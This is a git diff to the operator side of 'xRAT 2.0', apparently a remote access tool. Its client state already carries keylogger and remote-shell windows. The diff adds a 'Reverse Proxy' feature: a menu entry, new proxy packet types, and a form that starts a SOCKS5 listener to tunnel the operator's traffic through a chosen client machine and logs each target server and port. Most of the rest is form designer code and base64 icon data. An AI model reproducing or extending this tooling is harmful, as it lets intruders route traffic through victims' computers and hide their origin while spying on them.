+++ b/Server/Core/UserState.cs @@ -1,5 +1,6 @@ using System.Drawing; using xServer.Core.Helper; +using xServer.Core.ReverseProxy; using xServer.Forms; namespace xServer.Core @@ -23,6 +24,8 @@ namespace xServer.Core public FrmRemoteShell FrmRs { get; set; } public FrmStartupManager FrmStm { get; set; } public FrmKeylogger FrmKl { get; set; } + public FrmReverseProxy FrmProxy { get; set; } + public bool IsAuthenticated { get; set; } public bool LastDesktopSeen { get; set; } @@ -32,6 +35,8 @@ namespace xServer.Core public Bitmap LastDesktop { get; set; } public UnsafeStreamCodec StreamCodec { get; set; } + public ReverseProxyServer ProxyServer { get; set; } + public UserState() { IsAuthenticated = false; @@ -59,6 +64,8 @@ namespace xServer.Core FrmStm.Close(); if (FrmKl != null) FrmKl.Close(); + if (FrmProxy != null) + FrmProxy.Close(); } } } \ No newline at end of file diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 2612e8b9..3aa059f2 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -3,7 +3,6 @@ using System.IO; using System.Windows.Forms; using xServer.Core; using xServer.Core.Misc; -using System.Threading; namespace xServer.Forms { diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index a5b8d3db..3268c9e6 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -79,6 +79,7 @@ namespace xServer.Forms this.menuBuilder = new System.Windows.Forms.MenuItem(); this.menuStatistics = new System.Windows.Forms.MenuItem(); this.menuAbout = new System.Windows.Forms.MenuItem(); + this.ctxtReverseProxy = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtMenu.SuspendLayout(); this.botStrip.SuspendLayout(); this.SuspendLayout(); @@ -145,6 +146,7 @@ namespace xServer.Forms this.ctxtStartupManager, this.ctxtTaskManager, this.ctxtRemoteShell, + this.ctxtReverseProxy, this.ctxtLine, this.ctxtActions}); this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image"))); @@ -708,6 +710,13 @@ namespace xServer.Forms this.menuAbout.Text = "About"; this.menuAbout.Click += new System.EventHandler(this.menuAbout_Click); // + // ctxtReverseProxy + // + this.ctxtReverseProxy.Name = "ctxtReverseProxy"; + this.ctxtReverseProxy.Size = new System.Drawing.Size(178, 22); + this.ctxtReverseProxy.Text = "Reverse Proxy"; + this.ctxtReverseProxy.Click += new System.EventHandler(this.ctxtReverseProxy_Click); + // // FrmMain // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -781,6 +790,7 @@ namespace xServer.Forms private System.Windows.Forms.ToolStripMenuItem ctxtLocalFile; private System.Windows.Forms.ToolStripMenuItem ctxtWebFile; private System.Windows.Forms.ToolStripMenuItem ctxtKeylogger; + private System.Windows.Forms.ToolStripMenuItem ctxtReverseProxy; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 8b5bea34..6151ba9c 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -9,6 +9,7 @@ using xServer.Core.Extensions; using xServer.Core.Helper; using xServer.Core.Misc; using xServer.Core.Packets; +using xServer.Core.ReverseProxy; using xServer.Settings; namespace xServer.Forms @@ -143,7 +144,11 @@ namespace xServer.Forms typeof (Core.Packets.ClientPackets.MonitorsResponse), typeof (Core.Packets.ClientPackets.ShellCommandResponse), typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), - typeof (Core.Packets.ClientPackets.GetLogsResponse) + typeof (Core.Packets.ClientPackets.GetLogsResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnect), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyData), + typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect) }); ListenServer.ServerState += ServerState; @@ -289,6 +294,12 @@ namespace xServer.Forms { CommandHandler.HandleGetLogsResponse(client, (Core.Packets.ClientPackets.GetLogsResponse) packet); } + else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect)) + { + ReverseProxyCommandHandler.HandleCommand(client, packet); + } } private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e) @@ -705,5 +716,20 @@ namespace xServer.Forms } #endregion + + private void ctxtReverseProxy_Click(object sender, EventArgs e) + { + if (lstClients.SelectedItems.Count != 0) + { + Client c = (Client)lstClients.SelectedItems[0].Tag; + if (c.Value.FrmProxy != null) + { + c.Value.FrmProxy.Focus(); + return; + } + FrmReverseProxy frmRS = new FrmReverseProxy(c); + frmRS.Show(); + } + } } } \ No newline at end of file diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index d81a9dd2..952ef653 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -408,7 +408,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAQgBBwEIAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAARABBwEQAQcBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Server/Forms/FrmReverseProxy.Designer.cs new file mode 100644 index 00000000..2860e70e --- /dev/null +++ b/Server/Forms/FrmReverseProxy.Designer.cs @@ -0,0 +1,223 @@ +using xServer.Controls; + +namespace xServer.Forms +{ + partial class FrmReverseProxy + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmReverseProxy)); + this.btnStart = new System.Windows.Forms.Button(); + this.lblLocalServerPort = new System.Windows.Forms.Label(); + this.nudServerPort = new System.Windows.Forms.NumericUpDown(); + this.tabCtrl = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.LvConnections = new xServer.Controls.ListViewEx(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.btnStop = new System.Windows.Forms.Button(); + this.lblProxyInfo = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit(); + this.tabCtrl.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(243, 12); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(114, 23); + this.btnStart.TabIndex = 0; + this.btnStart.Text = "Start Listening"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // lblLocalServerPort + // + this.lblLocalServerPort.AutoSize = true; + this.lblLocalServerPort.Location = new System.Drawing.Point(22, 17); + this.lblLocalServerPort.Name = "lblLocalServerPort"; + this.lblLocalServerPort.Size = new System.Drawing.Size(91, 13); + this.lblLocalServerPort.TabIndex = 1; + this.lblLocalServerPort.Text = "Local Server Port"; + // + // nudServerPort + // + this.nudServerPort.Location = new System.Drawing.Point(117, 15); + this.nudServerPort.Maximum = new decimal(new int[] { + 65534, + 0, + 0, + 0}); + this.nudServerPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudServerPort.Name = "nudServerPort"; + this.nudServerPort.Size = new System.Drawing.Size(120, 22); + this.nudServerPort.TabIndex = 2; + this.nudServerPort.Value = new decimal(new int[] { + 3128, + 0, + 0, + 0}); + this.nudServerPort.ValueChanged += new System.EventHandler(this.nudServerPort_ValueChanged); + // + // tabCtrl + // + this.tabCtrl.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabCtrl.Controls.Add(this.tabPage1); + this.tabCtrl.Location = new System.Drawing.Point(26, 82); + this.tabCtrl.Name = "tabCtrl"; + this.tabCtrl.SelectedIndex = 0; + this.tabCtrl.Size = new System.Drawing.Size(533, 261); + this.tabCtrl.TabIndex = 3; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.LvConnections); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(525, 235); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Open Connections"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // LvConnections + // + this.LvConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5}); + this.LvConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.LvConnections.FullRowSelect = true; + this.LvConnections.GridLines = true; + this.LvConnections.Location = new System.Drawing.Point(3, 3); + this.LvConnections.Name = "LvConnections"; + this.LvConnections.Size = new System.Drawing.Size(519, 229); + this.LvConnections.TabIndex = 0; + this.LvConnections.UseCompatibleStateImageBehavior = false; + this.LvConnections.View = System.Windows.Forms.View.Details; + // + // columnHeader1 + // + this.columnHeader1.Text = "Target Server"; + this.columnHeader1.Width = 135; + // + // columnHeader2 + // + this.columnHeader2.Text = "Target Port"; + this.columnHeader2.Width = 68; + // + // columnHeader3 + // + this.columnHeader3.Text = "Total Receive"; + this.columnHeader3.Width = 105; + // + // columnHeader4 + // + this.columnHeader4.Text = "Total Send"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Proxy Type"; + this.columnHeader5.Width = 90; + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(363, 12); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(114, 23); + this.btnStop.TabIndex = 4; + this.btnStop.Text = "Stop Listening"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // lblProxyInfo + // + this.lblProxyInfo.AutoSize = true; + this.lblProxyInfo.Location = new System.Drawing.Point(23, 51); + this.lblProxyInfo.Name = "lblProxyInfo"; + this.lblProxyInfo.Size = new System.Drawing.Size(307, 13); + this.lblProxyInfo.TabIndex = 5; + this.lblProxyInfo.Text = "Connect to this Socks5 Proxy: 127.0.0.1:3128 (no user/pass)"; + // + // FrmReverseProxy + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(574, 356); + this.Controls.Add(this.lblProxyInfo); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.tabCtrl); + this.Controls.Add(this.nudServerPort); + this.Controls.Add(this.lblLocalServerPort); + this.Controls.Add(this.btnStart); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.Name = "FrmReverseProxy"; + this.Text = "xRAT 2.0 - Reverse Proxy []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmReverseProxy_FormClosing); + this.Load += new System.EventHandler(this.FrmReverseProxy_Load); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).EndInit(); + this.tabCtrl.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Label lblLocalServerPort; + private System.Windows.Forms.NumericUpDown nudServerPort; + private System.Windows.Forms.TabControl tabCtrl; + private System.Windows.Forms.TabPage tabPage1; + private ListViewEx LvConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Label lblProxyInfo; + } +} \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs new file mode 100644 index 00000000..1bca551d --- /dev/null +++ b/Server/Forms/FrmReverseProxy.cs @@ -0,0 +1,136 @@ +using System; +using System.Windows.Forms; +using xServer.Core; +using xServer.Core.ReverseProxy; + +namespace xServer.Forms +{ + public partial class FrmReverseProxy : Form + { + private readonly Client _connectClient; + private ReverseProxyServer SocksServer { get; set; } + private delegate void Invoky(); + + public FrmReverseProxy(Client client) + { + InitializeComponent(); + this._connectClient = client; + } + + private void FrmReverseProxy_Load(object sender, EventArgs e) + { + this.Text = string.Format("xRAT 2.0 - Reverse Proxy [{0}:{1}]", _connectClient.EndPoint.Address.ToString(), _connectClient.EndPoint.Port.ToString()); + } + + private void btnStart_Click(object sender, EventArgs e) + { + try + { + SocksServer = new ReverseProxyServer(); + SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; + SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; + SocksServer.StartServer(_connectClient, "0.0.0.0", (int)nudServerPort.Value); + btnStart.Enabled = false; + btnStop.Enabled = true; + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + btnStop_Click(sender, null); + } + } + + void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + { + if (proxyClient.ListItem != null) + { + this.Invoke(new Invoky(() => + { + lock (LvConnections) + { + string totalReceivedStr = GetSizeStr(proxyClient.LengthReceived); + string totalSendStr = GetSizeStr(proxyClient.LengthSended); + + proxyClient.ListItem.SubItems[0].Text = proxyClient.TargetServer; + proxyClient.ListItem.SubItems[1].Text = proxyClient.TargetPort.ToString(); + + if (proxyClient.ListItem.SubItems[2].Text != totalReceivedStr) + proxyClient.ListItem.SubItems[2].Text = totalReceivedStr; + + if (proxyClient.ListItem.SubItems[3].Text != totalSendStr) + proxyClient.ListItem.SubItems[3].Text = totalSendStr; + + + + if (!proxyClient.IsConnected) + { + LvConnections.Items.Remove(proxyClient.ListItem); + } + } + })); + } + } + + private string GetSizeStr(long size) + { + if (size > (1024 * 1024 * 1024)) + return (size / (1024 * 1024 * 1024)) + "GB"; + + if (size > (1024 * 1024)) + return (size / (1024 * 1024)) + "MB"; + + if (size > 1024) + return (size / 1024) + "KB"; + + return size + "B"; + } + + void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) + { + if (proxyClient.ListItem == null) + { + this.Invoke(new Invoky(() => + { + lock (LvConnections) + { + proxyClient.ListItem = new ListViewItem(new string[] + { + proxyClient.TargetServer, + proxyClient.TargetPort.ToString(), + proxyClient.LengthReceived/1024 + "KB", + proxyClient.LengthSended/1024 + "KB", + proxyClient.Type.ToString() + }) { Tag = proxyClient }; + LvConnections.Items.Add(proxyClient.ListItem); + } + })); + } + } + + private void btnStop_Click(object sender, EventArgs e) + { + btnStart.Enabled = true; + btnStop.Enabled = false; + if (SocksServer != null) + SocksServer.Stop(); + + try + { + SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; + SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection; + } + catch { } + } + + private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) + { + //Stop the proxy server if still active + btnStop_Click(sender, null); + } + + private void nudServerPort_ValueChanged(object sender, EventArgs e) + { + lblProxyInfo.Text = string.Format("Connect to this Socks5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value); + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.resx b/Server/Forms/FrmReverseProxy.resx new file mode 100644 index 00000000..f940d742 --- /dev/null +++ b/Server/Forms/FrmReverseProxy.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8BRT88fTMq + JtM3LSnVOS8q1y0nJXcAAAApAAAAEwAAABcAAAAtMysnizsvKtc5LinXNSwo1UA5N4v///8B////AWdh + Xh80KCL1LiAb/y8hG/8vIx7rBgYGWwAAAFEAAABRHBoZZTcoIvcwIRv/LiEb/zQnI/lcVlMl////Af// + /wEAAAAJPDMvhykdF/8pHRf/Kx4Y/ykgHJcAAAALAAAACUQ3MbMvIBj/LR4X/y0eF/9DOTSRAAAACf// + /wH///8B////AZuYlgk3KiTbJxoU/yYZE/8nGxb5QDg0J2VdWUMqHRj/JRkU/yQYFP83LCfjpKGgDf// + /wH///8B////Af///wH///8BZFFJTTwjGf8xHBL/MRsT/zYlHrk9LCXXMx8Z/ycXEv8nGBT/XlVSV/// + /wH///8B////Af///wH///8B////Af///wFgPC21WCoX/1ktHP9DIRT/NxwS/zodFP82HBP/SDUwvf// + /wH///8B////Af///wH///8B////Af///wH///8BsIh1J7B0VfmgYUP/jk4z/3E2If9OIhP/RyQY+3lp + ZC3///8B////Af///wH///8B////Af///wH///8B////Af///wGaZEqJmVQ5/8mBa//Kgm7/m1M//3tI + OI////8B////Af///wH///8B////Af///wH///8B////Af///wH///8BlmNSW8l9Z//ik4T/76KV/+qg + k/+7jYRd////Af///wH///8B////Af///wH///8B////Af///wH///8BmoB7D9iMfeXtmY3/+Lq1//ez + r//3rqr/6bWy5ZCBgQ////8B////Af///wH///8B////Af///wH///8B////Adyzq4/5tq//+rq2//zO + zP/7urf/+7i2//zDwf/as7GR////Af///wH///8B////Af///wH///8B////AcatpjH10sz7/NfT//zN + yf/30c7t77664fzJxf/90s//9s/M+7ylozP///8B////Af///wH///8B////AcGzrgPsw7bH+9TN//vW + 0P/829b/7dPPaeXIw1H6z8j//NvW//zb1v/ox8PJrKOhA////wH///8B////Af///wHis6Bn+cWz//rL + vf/5y77/8tHJzdvU0gP///8B8MrBt/vRyP/708r/+s/F/9i3rmn///8B////Af///wGphHIX76yP7fi/ + qP/3vKX/9MCs/d7FvTv///8B////AdrGwCX1zL/3+s7A//jHt//vwbDvwaykF////wH///8BxpF3kems + j/PstJrz7bSa9eO2oZ3///8B////Af///wH///8B4MG0ge7KuvHrvqvv7bmk79u3p5X///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////AWJeXks8NjOfPTc0pUA6 + N6dCPDmpRD47rUU/PK9HQT6vQT08cQAAACEAAAAPAAAABf///wH///8B////Af///wEAAAAHAAAAEwAA + ACc+OTeNSkI+sUhBPq9GQDyvRT46rUI8OatAOjipPjg2pVBOTWP///8B////Af///wH///8BgX59GT00 + MPEsIR3/LSEd/y4iHf8vIx3/MCMd/y8jHf83LSnvCgoKWwAAAE8AAABDAAAAMQAAAB0AAAAhAAAANwAA + AEcAAABPKyopdzgqJP0yIx3/MCMd/zAiHf8wIx3/LiId/y0hHf82LCj5YV9fJ////wH///8B////Af// + /wH///8BZV9ccS4hG/8uIRv/LiIc/y4hG/8vIRv/LyIc/zAiHP8sJySzAAAAUwAAAFMAAABTAAAAUQAA + AFEAAABTAAAAUwICAlVHPDjdNCMc/zEiHP8wIhv/LyIb/y4hHP8tIBz/LSEc/1dRT4f///8B////Af// + /wH///8B////Af///wGXk5IFTEI91SwfGv8tIBr/LSAa/y8hG/8uIRr/LiAa/zAkH/sVFRRxAAAAUwAA + AFEAAABLAAAASwAAAFEAAABTSENBmTIjHP8xIRr/MCEa/y8gGv8uIBr/LiAa/y4gGv9KQDvji4mIDf// + /wH///8B////Af///wH///8B////AQAAAAlRTUtVMiYg/ywfGf8sHxn/LR8Z/y0fGf8tHxn/LyAZ/ywk + INEAAAAxAAAAGwAAAAsAAAAJAAAAFyUlJT9HOjPzMSIZ/y8hGf8uIBj/Lh8Y/y4fGP8vIBj/MyUe/1pW + VGkAAAAJ////Af///wH///8B////Af///wEAAAAFAAAAEwAAABtJQj6tJxsW/yYbFv8mGxb/JhsW/ykd + F/8pHBf/KBwX/zo1M1n///8B////Af///wH///8BbWJdnS8fF/8wIBj/LR4X/ywdF/8rHRb/LB0W/y0d + Fv9TSkXDAgICGwAAABMAAAAH////Af///wH///8B////Af///wH///8B////AZuYlh05LirzJhoV/yQZ + FP8jGRP/JBkT/yQZFP8kGRT/KyIe5WJgXw3///8B////AaKdmzk2KST9KBsV/ygbFf8mGhX/JhoV/yYa + Ff8nGxX/OjAq+6ShoC3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWth + XXsuHBT/LRsU/ykaE/8nGRP/KBoT/yYZE/8oGhT/PTQwi////wG5trUDU0lFzyUYE/8kFxP/IxcS/yIX + E/8hFhP/IhcT/yMXEv9wameR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8Bp6CdCVU/NttVNSn/Mx0T/zAcE/8xHRP/LxwT/y4bE/8vHxn5VlFPKXhvbG0pGRT/KBgT/ycX + Ev8lFhL/JBYS/ycYFP8jFRL/Rjw46be1tBH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Bhnp2TzYgF/8xGxL/MBsS/zIbEv8zGxL/NBwT/zAbEv8+LynFRjMs7y8a + Ev85IRr/RC0n/ysYE/8oFhL/JxYR/y4cGP+IgoBh////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BYkxEtz8eEf8/HxH/Px8S/0clGv9HJhv/OB0S/zYc + Ev80HBL/NBwS/zoeFf9AIhn/NBsT/zIaE/8sFxH/XU9Mx7i1tAP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGlk4wnd0Ir+XM3HP9wNRv/cDYf/2cy + Hf9UKBb/SSMV/z4dEv84GhH/NhoS/zcbEv88IBX/NRoR/0EqI/2knpw1////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGug3CJqmtM/6pr + TP+iYUT/llU6/4JCJf91OB//ZS4Y/1AjE/9CHhL/PBwR/zwcEf87GxD/c2Jcmf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm3 + rQ28im7lr3JQ/6hpSf+jZEX/oF9B/6JgRv+UUDj/ezkh/2csF/9UJRP/TCES/1k7MO2spqQV////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AbaVg12VVTb/ikcp/5VRNv+5dlz/wXtl/8R+af+pYUz/jEUx/3o3IP9sLxn/f2hfa/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AZJfSsWMRyv/uHJZ/8+GcP/aj33/45mG/9mRff/Eemf/oVdF/4pW + SM+ThH8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bh2VYb7NrUv/RhnD/zn5t/+eXiP/wo5T/6JuK/+md + jP/bjn7/kW5ndf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AXprZxGfYU7n0YNu/9B/bv/fjH3/9amf//au + pv/tnZD/8qSZ//Oyp//UnpTpin17E////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BnW1hlduIdv/jj37/5pCD//Sm + m//5v7v/+L26//Slnf/1pJ7/+Lax//e9t/+4mJSZ////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZqAezXbjn799KKV//Wg + lf/3pp7/+ri1//vLyf/6wb//96qm//iqp//5s7P/+ru6/+q3tv2QgYE5////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGdlZMD0JmNzfep + nv/6sqz/+bOt//q4tf/7x8X//NDO//zAv//5r6z/+bCu//u4t//8vbz//MHA/86op8+Qh4YF////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbCb + lm3508z/+8W///q3sv/6ubX//MXD//zOzP/90tD//MPA//q2s//7ubX//L+8//3Fw//8yMb/+srI/6qT + knH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wGWjowZ4sK88fzY0//82tb//M/L//zEwf/8ycb//M/N//nS0P/ou7j7+7y4//vAu//8ysf//M7L//3Q + zf/90M7/4b678YuEgxv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Ac2xqqf71c3//NnT//zZ1f/82tb//dzY//zMx//80c3/6dDOs822tIf7x8H/+8jC//zT + z//91tL//dfT//3W0//919P/xKuoq////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wG/q6VF8si7//vUzP/819H//NfR//vZ1P/839v//NvX//TSzvfY0M8ly8LBDerH + weH7zcX//NXQ//zc1//83Nj//NzX//3a1v/yzsr/qZqXSf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BwbOuCeW7rNn6zb//+9LJ//zVzf/60sv/+9XP//za1f/72NH/5tXShf// + /wH///8B3czJVffKwf/70cr//NnT//zb1v/829b//NrU//zY0v/cvbfdrKOhCf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wHYtKd/+MGu//rLvP/6z8P/+s/E//rMvv/60cf/+9XN/+3Q + yuHb1NIL////Af///wH///8B5sjBu/rNw//70sn/+9XO//zWzv/71M3/+9PL//rPxv/FrKaD////Af// + /wH///8B////Af///wH///8B////Af///wH///8BvKmgJe2znPf4v6z/+ce2//nIuP/5xbX/+MS0//nM + vv/2z8T/2MvGVf///wH///8B////Af///wHTyccp8srA+frOwv/70Mf/+9HH//vQxv/6zsL/+s3B/+m/ + tPmtop8p////Af///wH///8B////Af///wH///8B////Af///wHUoIm597SY//i/qf/5w6//+L+q//e+ + qf/3v6v/+Mi3/+LGvb3///8B////Af///wH///8B////Af///wHcxsGJ+c3A//rNv//60ML/+s7B//nK + vP/5ybr/+cm6/9Oypr3///8B////Af///wH///8B////Af///wH///8BqYRyV/Gnhf/3s5X/+L2k//i9 + pP/3uZ//97mg//a7of/sv675y8PAK////wH///8B////Af///wH///8B////Aca9ug3lxrvj+tDB//rP + wP/5zL3/+cm3//jCr//4xbH/88Ku/8GspF3///8B////Af///wH///8B////AYl4bw/YmHnl96yI//ez + k//4uJv/97SX//e0lv/3tZf/9rWZ/9S3rI3///8B////Af///wH///8B////Af///wH///8B////Ab+2 + s1Xzybj/+dDA//jNu//4xrH/+MCp//e9pf/4wKr/5Lmn6cC4tBH///8B////Af///wH///8Bk3twcdCX + eeHXpIrl3K6X59+yneffsZnp4bOc7eO1nu3atKLby8C7D////wH///8B////Af///wH///8B////Af// + /wH///8B////AdO5rq/nybvn38Gy4du7reHetaTf4LKe3eG0od3juabbvq+of////wH///8BAAAAAAAA + 